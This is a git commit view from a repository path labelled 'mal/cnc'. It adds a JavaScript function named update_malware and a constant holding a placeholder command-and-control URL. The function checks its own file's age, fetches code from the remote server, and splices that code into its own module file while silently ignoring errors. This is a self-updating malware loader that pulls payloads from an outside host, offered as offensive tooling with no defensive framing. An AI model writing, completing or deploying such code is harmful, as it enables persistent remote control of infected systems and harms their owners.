aboutsummaryrefslogtreecommitdiff
path: root/inf/mal/cnc
diff options
context:
space:
mode:
authorspv <spv@spv.sh>2025-05-04 20:12:34 -0400
committerspv <spv@spv.sh>2025-05-04 20:12:34 -0400
commite2d1d18715a7c5b80cce02a96b09a5d57de38072 (patch)
tree59ff2ca2227675aaf4173ec4b6c521fff31532ed /inf/mal/cnc
flawless victory
Diffstat (limited to 'inf/mal/cnc')
-rw-r--r--inf/mal/cnc/client.js15
-rw-r--r--inf/mal/cnc/consts.js1
2 files changed, 16 insertions, 0 deletions
diff --git a/inf/mal/cnc/client.js b/inf/mal/cnc/client.js
new file mode 100644
index 0000000..7fddde7
--- /dev/null
+++ b/inf/mal/cnc/client.js
@@ -0,0 +1,15 @@
+function update_malware() {
+ fs.stat(module.filename, (err, stats) => {
+ if ((new Date() - (s.mtimeMs)) > (86400*1000)) {
+ fetch(cnc_url).then((v) => {
+ v.text().then((t) => {
+ let fc = fs.readFileSync(module.filename, "utf8");
+ fc = fc.replace(sentinel_pwn(), t);
+ fs.writeFileSync(module.filename, fc);
+ })
+ }).catch((e) => {
+ // ignore.
+ });
+ }
+ });
+} \ No newline at end of file
diff --git a/inf/mal/cnc/consts.js b/inf/mal/cnc/consts.js
new file mode 100644
index 0000000..35a77cc
--- /dev/null
+++ b/inf/mal/cnc/consts.js
@@ -0,0 +1 @@
+const cnc_url = "TODO_GIST_URL"; \ No newline at end of file